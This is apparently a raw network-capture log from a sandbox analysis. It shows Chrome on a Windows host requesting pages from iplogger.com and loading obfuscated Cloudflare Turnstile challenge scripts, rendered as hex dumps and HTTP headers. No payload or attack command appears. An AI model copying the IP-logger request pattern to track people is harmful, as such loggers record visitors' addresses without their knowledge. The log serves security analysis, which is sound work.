65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49738	104.21.76.57	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:06 UTC	585	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/261494574:1736583169:ezHic82teOCOynZTEESUXiZuFMVkK80anmx6aY9hydg/9003850dd90e7d1a/9eCHoPFn8y7VuJ6TcVa0XOF_dnQeTW_Dibh1o.sWHM0-1736583963-1.2.1.1-L2LsngXWnR9Mni6QlWnN_T2l1wPomJWa5aIma9o76zaosyPo.m2foyAIQER.Oqxi HTTP/1.1 Host: iplogger.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:06 UTC	913	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 08:26:06 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: HSQUR32cAwopKw7wh0UvVA==$rHCBkcAsv0seobIHROrCHA== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8YoVZNX%2FANNzzLGGtB51vx4HUkTKPg9Z2SSpli1sUlovNulAd7%2Bo3OpF9NozPtx6B6Y4K4hDoo%2FMfjD3x6xXvsIQSoxIsJmkl4I4DN%2Ftxble3Af6YyB4JvnagxbGM5M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90038520df56de97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2730&min_rtt=1453&rtt_var=2960&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2802&recv_bytes=1167&delivery_rate=1961047&cwnd=239&unsent_bytes=0&cid=27404a7f1c6281e2&ts=588&x=0"
2025-01-11 08:26:06 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49739	104.21.76.57	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:06 UTC	347	OUT	GET /favicon.ico HTTP/1.1 Host: iplogger.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:06 UTC	1092	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:06 GMT Content-Type: image/x-icon Content-Length: 2833 Connection: close last-modified: Tue, 07 Jun 2022 11:44:38 GMT etag: "629f3a26-b11" strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1911 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=91eYRYy%2F2L3EWOO5H5I7TmGQZptJZf3WZPosiO%2FWQlEtbZPOEU0hSIN4DS70QR%2FKNC%2Flx%2FQ3GiKuTzmpNwYFEav2Bq2ZCjMBME%2BLvXweC04mN35xQ3zKnW%2Bk9ojlMo8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90038520dd284228-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2888&min_rtt=1546&rtt_var=3116&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2804&recv_bytes=929&delivery_rate=1809169&cwnd=210&unsent_bytes=0&cid=20b2fb16ec507b01&ts=579&x=0"
2025-01-11 08:26:06 UTC	277	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 0a d8 49 44 41 54 78 9c dd 9b 7f 8c db 65 1d c7 5f 4f 73 6d 97 cb 85 bb 2c 75 59 96 73 59 49 9d 77 c7 24 c8 0c d1 8d 8e 1f 0a 0c b0 18 98 3a 56 6a 44 c6 cf 21 82 80 01 6f 25 86 ac 14 f9 35 24 82 0a a2 a0 d6 ca cf 09 96 20 28 99 93 3b 7e 38 06 22 ce eb c4 ba ce cb b2 10 68 2e bb cb 72 b9 5e 2f 7d fc e3 f3 7c d7 de 71 6d bf 4f af 77 18 df 49 f3 6d da ef e7 f9 3e cf e7 79 3e bf 3f 5f c5 02 c1 9b ce 3b 5f 3d c0 62 80 52 34 58 88 e5 34 c0 32 e0 88 f9 94 53 21 b5 50 d3 a2 6d 3e 07 f7 a6 f3 1d c0 2a 60 0d b0 1a e8 01 96 03 ed 40 1a b8 cc cc e1 4f 08 13 c6 80 5c 2c a7 f7 01 6f 00 83 40 2e 15 52 53 f3 35 c7 96 33 c0 9b ce b7 03 eb 81 4d c0 a9 40 a0 c6 ad 9e aa Data Ascii: PNGIHDR@@iqIDATxe_Osm,uYsYIw$:VjD!o%5$ (;~8"h.r^/}\|qmOwIm>y>?_;_=bR4X42S!Pm>*`@O\,o@.RS53M@
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 9a 19 2d 61 80 39 de dd c0 d5 c0 c5 c0 d2 56 8c 8b 30 e9 58 e0 9b c0 16 60 28 96 d3 0f 00 a9 54 48 1d 69 d5 03 e6 04 6f 3a bf 04 b8 17 f8 27 70 33 ad 5b fc 4c 78 10 71 fa 31 90 8d e5 f4 96 58 4e 2f 6a c5 a0 4d c1 9b ce b7 79 d3 f9 2b 81 7f 00 d7 21 72 bd 50 e8 06 1e 00 de 88 e5 f4 a9 46 91 36 85 a6 18 e0 4d e7 57 00 2f 22 bb 51 4b c6 17 02 ab 80 3f 02 f7 c5 72 ba a9 0d b0 66 80 37 9d 3f 07 d1 d0 a7 37 f3 c0 79 40 1b f0 2d 60 20 96 d3 c7 da 12 bb 66 80 37 9d f7 78 d3 f9 eb 80 df f2 d1 ee 7a 2d 9c 08 bc 16 cb e9 75 36 44 ae 18 e0 4d e7 3d c0 36 44 d9 f9 ec e7 b6 60 58 02 fc 3e 96 d3 e7 b8 d5 0b 0d 19 60 16 7f 1b d0 3f b7 b9 2d 18 da 81 a7 81 73 dc dc 5c 97 01 c6 be 5f 8f 98 b7 56 63 ce 26 b8 0e 16 01 8f c7 72 7a 4d a3 1b 1b 39 42 e7 01 b7 b7 64 4a 70 18 d8 Data Ascii: -a9V0X`(THio:'p3[Lxq1XN/jMy+!rPF6MW/"QK?rf7?7y@-` f7xz-u6DM=6D`X>`?-s\_Vc&rzM9BdJp
2025-01-11 08:26:06 UTC	1187	IN	Data Raw: 20 ec a6 12 3a 3f c6 47 2b 06 43 54 42 67 9b 68 10 24 7d 7f d4 6c bc 62 49 bc d9 5c 73 c0 33 96 b4 ad c4 7d c5 4c a2 6c 5a 65 dc e6 11 41 ac c6 34 06 bc 4e c5 94 b8 c1 05 de 74 be db c8 de 36 ea 87 ad f3 85 21 20 65 be af 03 56 58 d0 be 8d d1 7b 1e 90 86 45 84 09 6e d1 01 6c f5 a6 f3 14 33 89 bd c0 76 0b da 56 60 0a b8 a6 98 49 38 8c 7f 09 38 1f 78 d7 25 fd b3 4e 99 ac da 73 7a dc 72 12 97 00 9f 31 df b7 21 95 97 85 c2 76 60 67 b2 a0 49 16 b4 2f 15 52 e5 54 48 3d 03 7c 1a b8 09 63 e3 6b 60 0a c9 31 00 d3 19 b0 a3 01 e1 4c f8 80 9f 7a d3 f9 76 b3 13 5f 01 f6 37 a0 69 05 76 00 5b 8d f8 ad 02 b2 c9 82 de 62 18 31 9e 0a a9 3b 81 e3 90 8c d1 6c 0e de 2e 24 85 0e 7c b8 34 f6 20 d2 a1 69 83 47 81 cd a6 36 70 2c 52 1b 08 59 8e e1 16 cf 00 17 15 33 89 f1 64 41 2f Data Ascii: :?G+CTBgh$}lbI\s3}LlZeA4Nt6! eVX{Enl3vV`I88x%Nszr1!v`gI/RTH=\|ck`1Lzv_7iv[b1;l.$\|4 iG6p,RY3dA/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49752	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:07 UTC	728	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9003851e0d620f5f&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:07 UTC	331	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117417 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 900385253b7b1851-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:07 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 Data Ascii: for%20more%20information%3C%2Fa%3E","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","t
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 39 2c 66 61 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 30 33 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 39 30 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 36 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 39 32 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 37 38 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 39 34 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 34 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,f9,fa){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1803))/1+-parseInt(gI(1890))/2+parseInt(gI(1476))/3+parseInt(gI(892))/4(parseInt(gI(978))/5)+parseInt(gI(894))/6+parseInt(gI(1174))/7(-parseInt(gI(1
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 30 32 29 5d 28 6f 5b 67 4e 28 37 31 36 29 5d 2c 67 4e 28 31 38 32 30 29 29 29 7b 66 6f 72 28 48 3d 5b 5d 2c 49 3d 30 3b 49 3c 6f 5b 67 4e 28 35 37 38 29 5d 28 38 2c 49 5b 67 4e 28 36 32 38 29 5d 29 3b 48 5b 6f 5b 67 4e 28 31 35 30 38 29 5d 28 49 2c 35 29 5d 7c 3d 6f 5b 67 4e 28 31 35 32 30 29 5d 28 73 5b 67 4e 28 31 30 39 34 29 5d 28 49 2f 38 29 26 32 35 35 2c 6f 5b 67 4e 28 36 35 34 29 5d 28 32 34 2c 49 25 33 32 29 29 2c 49 2b 3d 38 29 3b 72 65 74 75 72 6e 20 48 7d 65 6c 73 65 20 46 3d 27 73 27 3d 3d 3d 45 26 26 21 67 5b 67 4e 28 31 35 35 31 29 5d 28 68 5b 44 5d 29 2c 6f 5b 67 4e 28 31 32 38 36 29 5d 3d 3d 3d 69 2b 44 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 67 4e 28 31 31 35 33 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 7d 65 6c 73 65 20 73 28 69 2b Data Ascii: 02)](o[gN(716)],gN(1820))){for(H=[],I=0;I<o[gN(578)](8,I[gN(628)]);H[o[gN(1508)](I,5)]\|=o[gN(1520)](s[gN(1094)](I/8)&255,o[gN(654)](24,I%32)),I+=8);return H}else F='s'===E&&!g[gN(1551)](h[D]),o[gN(1286)]===i+D?s(i+D,E):F\|\|o[gN(1153)](s,i+D,h[D])}else s(i+
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 30 36 29 5d 5d 26 26 52 5b 6f 5b 67 53 28 31 34 30 36 29 5d 5d 5b 67 53 28 35 35 37 29 5d 26 26 28 43 3d 7b 7d 2c 43 5b 67 53 28 31 38 36 35 29 5d 3d 67 53 28 36 38 35 29 2c 43 5b 67 53 28 31 32 32 39 29 5d 3d 5a 5b 67 53 28 35 35 36 29 5d 5b 67 53 28 34 38 39 29 5d 2c 43 5b 67 53 28 36 30 32 29 5d 3d 61 30 5b 67 53 28 35 35 36 29 5d 5b 67 53 28 31 31 37 37 29 5d 2c 43 5b 67 53 28 31 35 31 32 29 5d 3d 67 53 28 31 35 30 36 29 2c 43 5b 67 53 28 37 34 37 29 5d 3d 61 31 5b 67 53 28 35 35 36 29 5d 5b 67 53 28 31 36 37 34 29 5d 2c 43 5b 67 53 28 31 37 31 30 29 5d 3d 61 32 5b 67 53 28 35 35 36 29 5d 5b 67 53 28 36 33 34 29 5d 2c 43 5b 67 53 28 31 33 34 35 29 5d 3d 61 33 2c 59 5b 67 53 28 31 34 37 35 29 5d 5b 67 53 28 35 35 37 29 5d 28 43 2c 27 2a 27 29 29 3b 63 Data Ascii: 06)]]&&R[o[gS(1406)]][gS(557)]&&(C={},C[gS(1865)]=gS(685),C[gS(1229)]=Z[gS(556)][gS(489)],C[gS(602)]=a0[gS(556)][gS(1177)],C[gS(1512)]=gS(1506),C[gS(747)]=a1[gS(556)][gS(1674)],C[gS(1710)]=a2[gS(556)][gS(634)],C[gS(1345)]=a3,Y[gS(1475)][gS(557)](C,'*'));c
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 5b 68 79 28 35 35 36 29 5d 5b 68 79 28 34 38 39 29 5d 2c 69 5b 68 79 28 39 34 36 29 5d 3d 68 79 28 38 35 32 29 2c 69 5b 68 79 28 31 35 31 32 29 5d 3d 68 79 28 31 30 37 37 29 2c 69 5b 65 5b 68 79 28 31 35 37 31 29 5d 5d 5b 68 79 28 35 35 37 29 5d 28 69 2c 27 2a 27 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 65 5b 68 79 28 37 36 34 29 5d 28 66 36 2c 65 5b 68 79 28 31 38 30 35 29 5d 28 66 37 2c 63 29 29 7d 7d 2c 66 39 3d 5b 5d 2c 66 61 3d 30 3b 32 35 36 3e 66 61 3b 66 39 5b 66 61 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 31 36 30 31 29 5d 28 66 61 29 2c 66 61 2b 2b 29 3b 66 62 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 38 33 36 29 29 2c 66 63 3d 61 74 6f 62 28 67 4a 28 31 33 37 39 29 29 2c 66 43 3d 66 75 6e 63 74 69 6f 6e 28 69 36 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 Data Ascii: [hy(556)][hy(489)],i[hy(946)]=hy(852),i[hy(1512)]=hy(1077),i[e[hy(1571)]][hy(557)](i,'*'));else return e[hy(764)](f6,e[hy(1805)](f7,c))}},f9=[],fa=0;256>fa;f9[fa]=String[gJ(1601)](fa),fa++);fb=(0,eval)(gJ(836)),fc=atob(gJ(1379)),fC=function(i6,d,e,f,g){re
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 3b 4a 3c 69 5b 69 38 28 36 32 38 29 5d 3b 4a 2b 3d 31 29 69 66 28 4b 3d 69 5b 69 38 28 36 32 35 29 5d 28 4a 29 2c 4f 62 6a 65 63 74 5b 69 38 28 31 30 31 38 29 5d 5b 69 38 28 31 32 37 34 29 5d 5b 69 38 28 39 30 32 29 5d 28 78 2c 4b 29 7c 7c 28 78 5b 4b 5d 3d 45 2b 2b 2c 42 5b 4b 5d 3d 21 30 29 2c 4c 3d 43 2b 4b 2c 4f 62 6a 65 63 74 5b 69 38 28 31 30 31 38 29 5d 5b 69 38 28 31 32 37 34 29 5d 5b 69 38 28 39 30 32 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 20 69 66 28 64 5b 69 38 28 35 39 32 29 5d 28 69 38 28 36 35 39 29 2c 64 5b 69 38 28 38 31 37 29 5d 29 29 72 65 74 75 72 6e 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 69 38 28 31 30 31 38 29 5d 5b 69 38 28 31 32 37 34 29 5d 5b 69 38 28 39 30 32 29 5d 28 42 2c 43 29 29 7b 69 66 28 69 38 28 38 36 33 Data Ascii: ;J<i[i8(628)];J+=1)if(K=i[i8(625)](J),Object[i8(1018)][i8(1274)][i8(902)](x,K)\|\|(x[K]=E++,B[K]=!0),L=C+K,Object[i8(1018)][i8(1274)][i8(902)](x,L))C=L;else if(d[i8(592)](i8(659),d[i8(817)]))return;else{if(Object[i8(1018)][i8(1274)][i8(902)](B,C)){if(i8(863
2025-01-11 08:26:07 UTC	1369	IN	Data Raw: 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 69 38 28 31 30 39 34 29 5d 28 30 29 2c 73 3d 30 3b 31 36 3e 73 3b 48 3d 64 5b 69 38 28 38 32 35 29 5d 28 48 3c 3c 31 2c 64 5b 69 38 28 37 38 30 29 5d 28 4d 2c 31 29 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 69 38 28 34 38 38 29 5d 28 64 5b 69 38 28 39 30 37 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 69 38 28 31 33 39 34 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 4d 26 31 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 69 38 28 34 38 38 29 5d 28 64 5b 69 38 28 31 33 32 30 29 5d 28 6f 2c 48 29 Data Ascii: s++);for(M=C[i8(1094)](0),s=0;16>s;H=d[i8(825)](H<<1,d[i8(780)](M,1)),j-1==I?(I=0,G[i8(488)](d[i8(907)](o,H)),H=0):I++,M>>=1,s++);}D--,0==D&&(D=Math[i8(1394)](2,F),F++),delete B[C]}else for(M=x[C],s=0;s<F;H=H<<1\|M&1,I==j-1?(I=0,G[i8(488)](d[i8(1320)](o,H)
